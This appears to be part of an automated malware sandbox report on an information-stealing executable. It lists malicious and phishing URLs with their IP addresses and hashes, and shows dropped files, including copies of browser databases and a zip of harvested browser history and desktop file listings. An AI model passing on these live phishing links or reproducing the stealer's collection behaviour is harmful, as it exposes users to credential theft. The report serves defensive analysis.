CLOUDFLARENETUS	cargo detail.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	http://bandamazonas.com.br/	Get hash	malicious	Unknown	Browse	104.16.160.145
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	https://pybu8.vk.com////away.php?to=https://brandequity.economictimes.indiatimes.com/etl.php?url=1844forezcash.com/bin/kpm/sf_rand_string_lowercase(6)/sf_base64_encode/YmxhQGJsYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	rules for group chats 5021.js	Get hash	malicious	Unknown	Browse	172.67.159.188
	Piping Bulk Material Details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	http://moremashup.com	Get hash	malicious	Unknown	Browse	141.101.120.11
	https://us-west-2.protection.sophos.com/?d=purposeadvisor.com&u=aHR0cHM6Ly9vZmMuYWMucHVycG9zZWFkdmlzb3IuY29tL2Fkdmlzb3JfcG9ydGFsL2NsaWVudHMvNDAwOTc0&i=NjBiYTdmNjgxNDkwYmIwZjRmOWUwNGI0&t=MDZQNXpyd0Q1SytybjUvWUlrMTQzSmg5eGphYkYyamxuSkxLSytMcUdwST0=&h=1ffbd61cf8d24048ab3fc8ad7e6cc09c&s=AVNPUEhUT0NFTkNSWVBUSVa642Sa30j9O4WM93voaDiZGQxyrW9gQ-DDcZ_Npfi-Dw	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://track.enterprisetechsol.com/z.z?l=aHR0cHM6Ly9yZXNvdXJjZS5pdGJ1c2luZXNzdG9kYXkuY29tL3doaXRlcGFwZXJzLzQ3OTA5LU1pY3Jvc29mdC1DUEwtUTMtUE1HLUF6dXJlLVVLLTItbGFuZGluZy5waHA%2fZT1jaGVvbG1pbi55YW5nQGh5dW5kYWllbGV2YXRvci5jb20%3d&r=14650708707&d=12037165&p=2&t=h&h=b31ef758ea4a5eaf1cd28fb80e2a38d7	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://ddd.tiktok7.org/	Get hash	malicious	Unknown	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://exchange.add-solution.de/owa/owa_ocbcadejsm_form?l293yq==/owa_ocbcadejsm_form?l293ys9vd2ffb2niy2fkzwpzbv9mb3jtp0wyotnzut09/owa_ocbcadejsm_form?l293ys9vd2ffb2niy2fkzwpzbv9mb3jtp0wyotnzut09l293yv9vy2jjywrlanntx2zvcm0/tdi5m1ltoxzkmkzmyjjoavkyrmtav3b6yly5bwizsnrqmhd5t1rowlvumdk=	Get hash	malicious	Unknown	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://dear-house-request-01.surge.sh/	Get hash	malicious	Unknown	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://hwy.pages.dev/%5C%5C%5C%22https:%5C/%5C/tapestry.tapad.com%5C/tapestry%5C/1?ta_partner_id=950&ta_redirect=https	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://yhz.pages.dev/%5C%5C%5C%22https:%5C/%5C/t.myvisualiq.net%5C/impression_pixel?r=739915162&et=i&ago=212&ao=546&aca=26620495&si=4449639&ci=-7&pi=316681543&ad=-7&advt=4470647&chnl=-7&vndr=115&sz=6696&u=%5Bcustom_data%5D&pt=i%5C%5C%5C%22	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	http://porodix.cyberspector.network/	Get hash	malicious	Unknown	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	http://ourtime.people-meedia.workers.dev/v3/aboutonlinedating	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://profiles.secure-dashboard-ours.workers.dev/v3/help	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://publishpostnow.github.io/statemntaboutgeneryal/casee-problem/homes/?/r7ykizdrvuzkmrqm+orbnvfbl6doitfpri4tjfhxawutupf	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220
	https://worker-restless-dawn-a10d.caryl7.workers.dev/common/reprocess?ctx=rqqiaraahzk_j9t0amxj5c73q4vgbywoaekgkfcfk69_fe2c1ogsolet_0gu38rxluji2lgdr2mncew7s0hmqatsxcbwixpchjgqe2k8qqnt-qvoakjqudyczbxl03t60lve5_ialznlqgwef-gyopuq5shhstyuzgglkmx1ckibssfjzarmrqj5af2uhxyxikeg9-rks9q3hvprve7td26juzeoo81zpzkmatl0hm-yy1yyvpdlcuyt5wn9a0e8j4ib_l69jaf92_wgmgilbw43ywiqpjmok2t-c6gheab6vvjlmt	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 104.21.44.66 149.154.167.220

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.2516291673878226
Encrypted:	false
SSDEEP:	3:McSh:McSh
MD5:	AB0660A9F96B11D82CD0A5679740F134
SHA1:	6963A72283B889AE928E9D5A61735B38474CC003
SHA-256:	4E8EC6454AB799F686DAAB65B341EC5975E36381EA589F4CDB0A692F6C20DDD4
SHA-512:	1A5B5F0D7C48FCD00C190733B726F2EA164B0DFEEE3D8E4C8A4B627C4B89B173C7C3313C9A698E891591C35D41F2FDB02AB303C878D968CA7CD1F432D65F78FE
Malicious:	false
Reputation:	low
Preview:	109795

C:\Users\user\AppData\Local\Temp\places.raw

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp37DA.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp37FA.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp380B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp382B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp383B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp386B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp387C.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp388D.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp389D.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp393A.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp394B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH.zip

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	modified
Size (bytes):	153831
Entropy (8bit):	7.9244061670285655
Encrypted:	false
SSDEEP:	3072:WgVmHKmfMMhQR63lGXg84CmnI5wy4GRV/74wkTurcHW8BtEN+u5dE:JVmHKMMMSR63log8tmnIPRV/74BuI28P
MD5:	5C2E6B34CA36383BCBEC93FCD5CBD1B8
SHA1:	6231217628CBAE473AADB6311A605A56454F3AE2
SHA-256:	444BFE08D5C876624AF80A66D2032DBC9FFD04AC4FF31F08763118FF0D01937D
SHA-512:	2ECC1036F7A975B4D6BC40D26497689414341DA083431ABBCFDAA3E5DFE11B377E0ED273C7460CFB14EB660528A5AD8D3C12408604BD5325DEC98E096EB28907
Malicious:	false
Preview:	PK.........,.X................Browsers\Edge\PK...........XQ3..J...i.......Browsers\Firefox\Bookmarks.txtSVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK...........Xc.e.S...^.......Browsers\Firefox\History.txtSVVVp.,JM.P.(.,KL.T../.LNUx.0E.7.3''QA..L#.....J_...\/.".._........_....1M_S....PK...........X..[.s...q.......Browsers\Google\History.txt..j.0...{.C.l.5..?(..9.m......&?..C.....l=..6.^..H.'K.e......V..R.\O...\|_....}..<.....2%......+$s...q.2.F..W....z.F...97.....S9..@.j.Jn.+7$....%!.q.C..+ .O...N.\-.zZ.W.....2../w.!..N...d.dj$..L..H...dJ.OI.K6E/9..\|.4i..A.y..)....9.)8P...5..O...J.M\gs.g>q......e....B..#....r...@.l.C ..(.....>K.wB........a.G..B.....Y.O..g....Z6..b......P....0.0...a_..PK...........X....?...5.......Directories\Desktop.txteR.n.0.<S..bU.....1..l.Vn...hB......X....gfg.....u.>?E....m.G.L.2..B..'M.;..$u\.Me<.........o~"\..M...>.W?Y..q\|......LY.*..H4.o.Qkt..$N;4^.?.T.+.7.k.........4..2...+o.ren.".`5.56.H$[mcjJE.J.R

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Browsers\Google\History.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1393
Entropy (8bit):	5.241470443395582
Encrypted:	false
SSDEEP:	24:PTIOm5oh9wxOm5pjRmZDKJfOm5pjRSpDKJfOmcTdmcOWz5oPpMcOWz5pjRVpbccU:PbmAwgm/VcDKJmm/VuDKJmmcBYpB/VVe
MD5:	7F24357FFA354F2471DED45552B897D7
SHA1:	1DC89FD89BA23EA0186D0D8559B27CF647ECF4DC
SHA-256:	573E409CB5579533BC387F3943FFFACAF7694269A38B4B56987E8A8B83CF3AD1
SHA-512:	202F2FC022B7C484E0EDCA890300C471CA3097217A20BF0DDC4E1DC277D411CA3742608302DDB2A0F4E6EAA662D1B741AC2F6A4566C3133A151D0EF83EEDB6A3
Malicious:	false
Preview:	### https://go.microsoft.com/fwlink/?linkid=851546 ### (Examples of Office product keys - Microsoft Support) 3.### https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016 ### (Examples of Office product keys - Microsoft Support) 3.### https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us ### (Examples of Office product keys - Microsoft Support) 3.### https://support.microsoft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us ### (Examples of Office product keys - Microsoft Support) 1.### https://go.microsoft.com/fwlink/?LinkId=2106243 ### (Install the English Language Pack for 32-bit Office - Microsoft Support) 3.### https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17 ### (Install the English Language Pack for 32-bit Office - Microsoft Support) 3.### https://support.microsoft.com/

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	821
Entropy (8bit):	5.263487196497159
Encrypted:	false
SSDEEP:	24:EF3IgqkOTRfMnaD/lvsoYduOVdPXrvaI1w0+mwGD/mF3FYdGeR:ECfbRfBrOuudP3ZrmB4GeR
MD5:	1BF4044861619B005E65AB601BB400E1
SHA1:	CE47DB20096EB52E06931F72A7D3FF71F4CDA057
SHA-256:	AB9B7E208D8EE50B0AE00B8C9A115F2664AC915503A998C8C1A617F00447518A
SHA-512:	B0B9EFB72A3EA13AA6201E8A0D3E1243D2B331D1A31ECCDAC06843095879373BFA11F20228A0E1B4A47AD7C2C7720627E10667A48328D982ABDB95A42E44A404
Malicious:	false
Preview:	Desktop\...BPMLNOBVSB\...DVWHKMNFNN\...LTKMYBSEYZ\...ONBQCLYSPU\....HTAGVDFUIE.pdf....KZWFNRXYKI.mp3....LTKMYBSEYZ.jpg....ONBQCLYSPU.docx....UMMBDNEQBN.xlsx....WUTJSCBCFX.png...UOOJJOZIRH\...VLZDGUKUTZ\....FENIVHOIKN.mp3....HTAGVDFUIE.xlsx....KZWFNRXYKI.jpg....NIKHQAIQAU.png....NWTVCDUMOB.pdf....VLZDGUKUTZ.docx...XZXHAVGRAG\....HTAGVDFUIE.mp3....KATAXZVCPS.png....ONBQCLYSPU.xlsx....UMMBDNEQBN.jpg....VLZDGUKUTZ.pdf....XZXHAVGRAG.docx...ZBEDCJPBEY\...ZTGJILHXQB\...desktop.ini...Excel.lnk...FENIVHOIKN.mp3...HTAGVDFUIE.mp3...HTAGVDFUIE.pdf...HTAGVDFUIE.xlsx...KATAXZVCPS.png...KZWFNRXYKI.jpg...KZWFNRXYKI.mp3...LTKMYBSEYZ.jpg...NIKHQAIQAU.png...NWTVCDUMOB.pdf...ONBQCLYSPU.docx...ONBQCLYSPU.xlsx...UMMBDNEQBN.jpg...UMMBDNEQBN.xlsx...viVOqZjAT0.exe...VLZDGUKUTZ.docx...VLZDGUKUTZ.pdf...WUTJSCBCFX.png...XZXHAVGRAG.docx..

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.370273224205304
Encrypted:	false
SSDEEP:	24:ExrqEEJF3IgqkOTRfMnaD/lvsoYduOVhvaI1w0+mwGD/mF3FYdOeR:EBqEEJCfbRfBrOuudZrmB4OeR
MD5:	33772284602B401888F358A3DB7ACA5C
SHA1:	CBEFC41A699D4D72FCF18B05DCD0C884510FB797
SHA-256:	09BF3EE8722130356B746D0CF32B780DC05246D126B94E7AE6AA36D8B21E1335
SHA-512:	48714D2E98FA1F55698624D2D773001BBC3BE1CEBE243D5E97B9D15B0D05C05A62BA9007C66B67660CEF250F13FB8BDDD8D35FD17510A4D20A5B7A56D57732D4
Malicious:	false
